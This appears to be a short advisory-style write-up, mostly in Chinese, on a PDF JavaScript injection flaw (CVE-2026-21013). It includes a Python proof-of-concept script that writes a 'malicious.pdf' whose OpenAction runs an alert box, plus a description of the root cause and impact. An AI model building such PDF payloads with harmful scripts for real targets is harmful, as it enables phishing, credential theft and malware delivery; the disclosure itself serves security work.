CVE-2026-21013 – 通过嵌入式脚本实现的 PDF JavaScript 注入

程序代码（生成恶意 PDF 的 Python 脚本）

# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – 通过 OpenAction 实现的 PDF JavaScript 注入

概述

PDF 生成器在将用户提供的内容嵌入 PDF 文件之前未对其进行净化处理。攻击者可以注入一个 /OpenAction JavaScript 条目，该条目在文档打开时执行，从而导致跨站脚本攻击（在 Web 查看器中）或本地代码执行（在支持完整 JS 的桌面阅读器中）。

漏洞详情

• 类型： PDF 注入 / 客户端代码执行
• 影响： 网络钓鱼、凭据窃取、恶意软件投递。
• 根本原因： PDF 库直接将攻击者控制的字符串嵌入 PDF 结构中，而未进行转义或验证。

漏洞利用演示

运行生成器：

python generate_pdf_js_inject.py

在支持 JavaScript 的 PDF 阅读器中打开生成的 malicious.pdf；将出现一个警报框。